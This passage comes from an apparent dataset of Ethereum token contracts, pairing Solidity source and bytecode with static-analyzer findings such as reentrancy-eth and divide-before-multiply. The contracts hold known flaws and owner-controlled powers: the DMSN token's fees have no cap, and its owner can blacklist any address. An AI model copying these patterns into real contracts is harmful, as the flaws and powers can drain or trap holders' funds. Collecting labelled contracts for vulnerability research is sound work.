207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b60008111610dc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040d565b6001600160a01b03831660009081526006602052604090205460ff1615610de657600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2857506001600160a01b03821660009081526005602052604090205460ff16155b15610f7f576000600955600c54600a55600f546001600160a01b038481169116148015610e635750600e546001600160a01b03838116911614155b8015610e8857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9d5750600f54600160b81b900460ff165b15610eb157601054811115610eb157600080fd5b600f546001600160a01b038381169116148015610edc5750600e546001600160a01b03848116911614155b8015610f0157506001600160a01b03831660009081526005602052604090205460ff16155b15610f12576000600955600b54600a555b6000610f1d30610576565b600f54909150600160a81b900460ff16158015610f485750600f546001600160a01b03858116911614155b8015610f5d5750600f54600160b01b900460ff165b15610f7d57610f6b81611087565b478015610f7b57610f7b47610fc9565b505b505b610f8a83838361122c565b505050565b60008184841115610fb35760405162461bcd60e51b815260040161040d91906118c2565b506000610fc08486611a11565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b600060075482111561106a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040d565b6000611074611237565b9050611080838261125a565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110dd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113157600080fd5b505afa158015611145573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116991906116bf565b8160018151811061118a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b09130911684610b74565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e990859060009086903090429060040161194a565b600060405180830381600087803b15801561120357600080fd5b505af1158015611217573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8a83838361129c565b6000806000611244611393565b9092509050611253828261125a565b9250505090565b600061108083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d5565b6000806000806000806112ae87611403565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e09087611460565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130f90866114a2565b6001600160a01b03891660009081526002602052604090205561133181611501565b61133b848361154b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138091815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006113af828261125a565b8210156113cc5750506007549268056bc75e2d6310000092509050565b90939092509050565b600081836113f65760405162461bcd60e51b815260040161040d91906118c2565b506000610fc084866119d2565b60008060008060008060008060006114208a600954600a5461156f565b9250925092506000611430611237565b905060008060006114438e8787876115c4565b919e509c509a509598509396509194505050505091939550919395565b600061108083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8f565b6000806114af83856119ba565b9050838110156110805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040d565b600061150b611237565b905060006115198383611614565b3060009081526002602052604090205490915061153690826114a2565b30600090815260026020526040902055505050565b6007546115589083611460565b60075560085461156890826114a2565b6008555050565b600080808061158960646115838989611614565b9061125a565b9050600061159c60646115838a89611614565b905060006115b4826115ae8b86611460565b90611460565b9992985090965090945050505050565b60008080806115d38886611614565b905060006115e18887611614565b905060006115ef8888611614565b90506000611601826115ae8686611460565b939b939a50919850919650505050505050565b60008261162357506000610445565b600061162f83856119f2565b90508261163c85836119d2565b146110805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040d565b803561169e81611a6f565b919050565b6000602082840312156116b4578081fd5b813561108081611a6f565b6000602082840312156116d0578081fd5b815161108081611a6f565b600080604083850312156116ed578081fd5b82356116f881611a6f565b9150602083013561170881611a6f565b809150509250929050565b600080600060608486031215611727578081fd5b833561173281611a6f565b9250602084013561174281611a6f565b929592945050506040919091013590565b60008060408385031215611765578182fd5b823561177081611a6f565b946020939093013593505050565b60006020808385031215611790578182fd5b823567ffffffffffffffff808211156117a7578384fd5b818501915085601f8301126117ba578384fd5b8135818111156117cc576117cc611a59565b8060051b604051601f19603f830116810181811085821117156117f1576117f1611a59565b604052828152858101935084860182860187018a101561180f578788fd5b8795505b838610156118385761182481611693565b855260019590950194938601938601611813565b5098975050505050505050565b600060208284031215611856578081fd5b813561108081611a84565b600060208284031215611872578081fd5b815161108081611a84565b60006020828403121561188e578081fd5b5035919050565b6000806000606084860312156118a9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118ee578581018301518582016040015282016118d2565b818111156118ff5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119995784516001600160a01b031683529383019391830191600101611974565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119cd576119cd611a43565b500190565b6000826119ed57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0c57611a0c611a43565b500290565b600082821015611a2357611a23611a43565b500390565b6000600019821415611a3c57611a3c611a43565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220277a7dfb0bed9dc21fcb020f968126c0678261bcc4d083853879c0ae849290e964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,442
0xb5e60ae88aeecbb9f923c4ba41790c05ebfeef84
pragma solidity ^0.4.8; ///address -> uint256 mapping. library IterableMapping { struct IndexValue { uint keyIndex; uint value; } struct KeyFlag { address key; bool deleted; } struct itmap { mapping(address => IndexValue) data; KeyFlag[] keys; uint size; } function insert(itmap storage self, address key, uint value) internal returns (bool replaced) { uint keyIndex = self.data[key].keyIndex; self.data[key].value = value; if (keyIndex > 0) return true; else { keyIndex = self.keys.length++; self.data[key].keyIndex = keyIndex + 1; self.keys[keyIndex].key = key; self.size++; return false; } } function remove(itmap storage self, address key) internal returns (bool success) { uint keyIndex = self.data[key].keyIndex; if (keyIndex == 0) return false; delete self.data[key]; self.keys[keyIndex - 1].deleted = true; self.size --; } function contains(itmap storage self, address key) internal returns (bool) { return self.data[key].keyIndex > 0; } function iterate_start(itmap storage self) internal returns (uint keyIndex) { return iterate_next(self, uint(-1)); } function iterate_valid(itmap storage self, uint keyIndex) internal returns (bool) { return keyIndex < self.keys.length; } function iterate_next(itmap storage self, uint keyIndex) internal returns (uint r_keyIndex) { keyIndex++; while (keyIndex < self.keys.length && self.keys[keyIndex].deleted) keyIndex++; return keyIndex; } function iterate_get(itmap storage self, uint keyIndex) internal returns (address key, uint value) { key = self.keys[keyIndex].key; value = self.data[key].value; } } /** *Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint){ uint c = a * b; assert(a == 0 || c / a ==b); return c; } function div(uint a, uint b) internal returns (uint) { //assert(b > 0); //Solidity automatically throws when dividing by 0 uint c = a/b; // assert(a == b * c + a% b); //There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b<=a); return a-b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if(!assertion){ throw; } } } /** * title ERC20 Basic * dev Simpler version of ERC20 interface * dev see https://github.com/ethereum/EIPs/issues/20 * */ contract ERC20Basic{ function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * title Basic token * dev Basic version of StandardToken, eith no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; /** * dev Fix for eht ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4){ throw; } _; } } /** * title ERC20 interface * dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * title Standard ERC20 token * * dev Implemantation of the basic standart token. * dev https://github.com/ethereum/EIPs/issues/20 * dev Based on code by FirstBlood:http://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol **/ contract StandardToken is BasicToken, ERC20{ mapping (address => mapping (address => uint)) allowed; event Burn(address from, address to, uint value); event TransferFrom(address from, uint value); event Dividends(address from, address to, uint value); /** * dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * param _spender The address which will spend the funds. * param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { //To change the approve amount you first have to reduce the addresses // allowance to zero by calling approve(_spender, 0) if if it not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuscomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * dev Function to check the amount of token rhan an owner allowed to a spender. * param _owner address Thr address whivh owns the funds. * param _spender address The address which will spend the funds. * return A uint specifing the amount of tokrns still avaible for the spender. **/ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable(){ owner = msg.sender; } modifier onlyOwner(){ if(msg.sender != owner){ throw; } _; } // function transferOwnership(address newOwner) onlyOwner{ // if (newOwner != address(0)){ // owner = newOwner; // } // } } contract GlobalCoin is Ownable, StandardToken{ uint256 public decimals = 8; uint public totalSupply = 1000000000000000;//1后面15个0 ,发行1000,0000 ,后面是00000000,对应小数点后8个0 address public dividendAddress = 0x1D33776a090a2F321FF596C0C011F2f414f3A527;//分红地址 address public burnAddress = 0x0000000000000000000000000000000000000000; //销毁GBC地址 uint256 private globalShares = 0; mapping (address => uint256) private balances; mapping (address => uint256) private vips; using IterableMapping for IterableMapping.itmap; IterableMapping.itmap public data; using SafeMath for uint256; modifier noEth() { if (msg.value < 0) { throw; } _; } function() { // 当有人发送eth或者Token,会触发这个事件 if (msg.value > 0) TransferFrom(msg.sender, msg.value); } function insert(address k, uint v) internal returns (uint size) { IterableMapping.insert(data, k, v); return data.size; } //预计分多少红 function expectedDividends(address user) constant returns (uint Dividends){ return balances[dividendAddress] / globalShares * vips[user]; } // //显示有多少GBC function balanceOf(address addr) constant returns (uint balance) { return balances[addr]; } //显示有多少股 function yourShares(address addr) constant returns (uint shares) { return vips[addr]; } function transfer(address to, uint256 amount) onlyPayloadSize(2 * 32) { if (to == burnAddress) { return burn(amount); } balances[msg.sender] = balances[msg.sender].sub(amount); balances[to] = balances[to].add(amount); Transfer(msg.sender, to, amount); } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; //Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function burn (uint256 amount) //获得分红 { if (amount >= 100000000000) { vips[msg.sender] += amount / 100000000000; globalShares += amount / 100000000000; insert(msg.sender, vips[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(amount); balances[burnAddress] = balances[burnAddress].add(amount); Burn(msg.sender, burnAddress, amount); } } //查看全球一共多少股 function totalShares() constant returns (uint shares){ return globalShares; } //为每个股民发送分红 function distributeDividends() onlyOwner public noEth(){ for (var i = IterableMapping.iterate_start(data); IterableMapping.iterate_valid(data, i); i = IterableMapping.iterate_next(data, i)) { var (key, value) = IterableMapping.iterate_get(data, i); uint tmp = balances[dividendAddress] / globalShares * value; balances[key] = balances[key].add(tmp); Dividends(dividendAddress, key, tmp); } balances[dividendAddress] = balances[dividendAddress].sub(balances[dividendAddress] / globalShares * globalShares); } function GlobalCoin() onlyOwner { balances[owner] = totalSupply; } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303c833028114610140578063095ea7b31461015357806318160ddd1461017557806323b872dd1461019a578063313ce567146101c25780633a98ef39146101d557806340f3b6f1146101e857806342966c6814610207578063546d08fe1461021d5780635fad663e1461024c57806370a082311461026b57806370d5ae051461028a57806373d4a13a1461029d5780638da5cb5b146102b0578063a9059cbb146102c3578063dd62ed3e146102e5575b34156100f057600080fd5b600034111561013e577f58becdf9a931dd5ffd26ec2dde1ceab1683ffc0744ebd71f33267bc4406cc8473334604051600160a060020a03909216825260208201526040908101905180910390a15b005b341561014b57600080fd5b61013e61030a565b341561015e57600080fd5b61013e600160a060020a03600435166024356104c4565b341561018057600080fd5b610188610565565b60405190815260200160405180910390f35b34156101a557600080fd5b61013e600160a060020a036004358116906024351660443561056b565b34156101cd57600080fd5b61018861068c565b34156101e057600080fd5b610188610692565b34156101f357600080fd5b610188600160a060020a0360043516610699565b341561021257600080fd5b61013e6004356106b4565b341561022857600080fd5b6102306107dc565b604051600160a060020a03909116815260200160405180910390f35b341561025757600080fd5b610188600160a060020a03600435166107eb565b341561027657600080fd5b610188600160a060020a0360043516610830565b341561029557600080fd5b61023061084b565b34156102a857600080fd5b61018861085a565b34156102bb57600080fd5b610230610860565b34156102ce57600080fd5b61013e600160a060020a036004351660243561086f565b34156102f057600080fd5b610188600160a060020a036004358116906024351661095f565b6000805481908190819033600160a060020a0390811691161461032c57600080fd5b600034101561033a57600080fd5b610344600961098a565b93505b61035260098561099e565b1561044a576103626009856109aa565b600654600454600160a060020a0316600090815260076020526040902054929550909350839181151561039157fe5b600160a060020a0386166000908152600760205260409020549190049190910291506103c3908263ffffffff6109eb16565b600160a060020a0380851660009081526007602052604090819020929092556004547f8682178a70ad8585e8609c57bdfff9d33418dd6796f86622d5f9e35278b5eb0d929116908590849051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a1610443600985610a03565b9350610347565b600654600454600160a060020a03166000908152600760205260409020546104a39190819081151561047857fe5b600454600160a060020a0316600090815260076020526040902054929190040263ffffffff610a6516565b600454600160a060020a031660009081526007602052604090205550505050565b80158015906104f75750600160a060020a0333811660009081526001602090815260408083209386168352929052205415155b1561050157600080fd5b600160a060020a03338116600081815260016020908152604080832094871680845294909152908190208490557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b60035481565b60006060606436101561057d57600080fd5b600160a060020a0380861660009081526001602090815260408083203385168452825280832054938816835260079091529020549092506105c4908463ffffffff6109eb16565b600160a060020a0380861660009081526007602052604080822093909355908716815220546105f9908463ffffffff610a6516565b600160a060020a038616600090815260076020526040902055610622828463ffffffff610a6516565b600160a060020a03808716600081815260016020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35050505050565b60025481565b6006545b90565b600160a060020a031660009081526008602052604090205490565b64174876e80081106107d95733600160a060020a0381166000908152600860205260409020805464174876e80084049081018255600680549091019055546106fc9190610a79565b50600160a060020a033316600090815260076020526040902054610726908263ffffffff610a6516565b600160a060020a03338116600090815260076020526040808220939093556005549091168152205461075e908263ffffffff6109eb16565b60058054600160a060020a03908116600090815260076020526040908190209390935590547fbac40739b0d4ca32fa2d82fc91630465ba3eddd1598da6fca393b26fb63b94539233929190911690849051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b50565b600454600160a060020a031681565b600160a060020a03808216600090815260086020908152604080832054600654600454909516845260079092528220549192909181151561082857fe5b040292915050565b600160a060020a031660009081526007602052604090205490565b600554600160a060020a031681565b600b5481565b600054600160a060020a031681565b6040604436101561087f57600080fd5b600554600160a060020a03848116911614156108a35761089e826106b4565b61095a565b600160a060020a0333166000908152600760205260409020546108cc908363ffffffff610a6516565b600160a060020a033381166000908152600760205260408082209390935590851681522054610901908363ffffffff6109eb16565b600160a060020a0380851660008181526007602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35b505050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600061099882600019610a03565b92915050565b60019190910154901090565b60008083600101838154811015156109be57fe5b6000918252602080832090910154600160a060020a03168083529590526040902060010154939492505050565b60008282016109fc84821015610a92565b9392505050565b60010160005b600183015482108015610a4f575060018301805483908110610a2757fe5b60009182526020909120015474010000000000000000000000000000000000000000900460ff165b15610a5f57600190910190610a09565b50919050565b6000610a7383831115610a92565b50900390565b6000610a8760098484610a9e565b5050600b5492915050565b8015156107d957600080fd5b600160a060020a03821660009081526020849052604081208054600190910183905581811115610ad15760019150610b5c565b6001808601805491610ae591908301610b64565b600160a060020a0385166000908152602087905260409020600180830190915586018054919250859183908110610b1857fe5b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039390931692909217909155600286018054600101905591505b509392505050565b81548183558181151161095a5760008381526020902061095a91810190830161069691905b80821115610bb557805474ffffffffffffffffffffffffffffffffffffffffff19168155600101610b89565b50905600a165627a7a723058209244872fbb4b0cf79d4f5afeffa440d4da40f21d9b6538de70b5bf989101a4d20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,443
0x94d888d17adb0987bf6ab1eaf2f10ca7bd3dc8e3
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DMSN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Doge Mission";// string private constant _symbol = "DMSN";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 2;// uint256 private _taxFeeOnBuy = 3;// //Sell Fee uint256 private _redisFeeOnSell = 2;// uint256 private _taxFeeOnSell = 3;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xCDC7F503908e88b87d8f9D36dF9B77654969d127); address payable private _marketingAddress = payable(0xCDC7F503908e88b87d8f9D36dF9B77654969d127); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; // uint256 public _maxWalletSize = 20000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = 3; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = 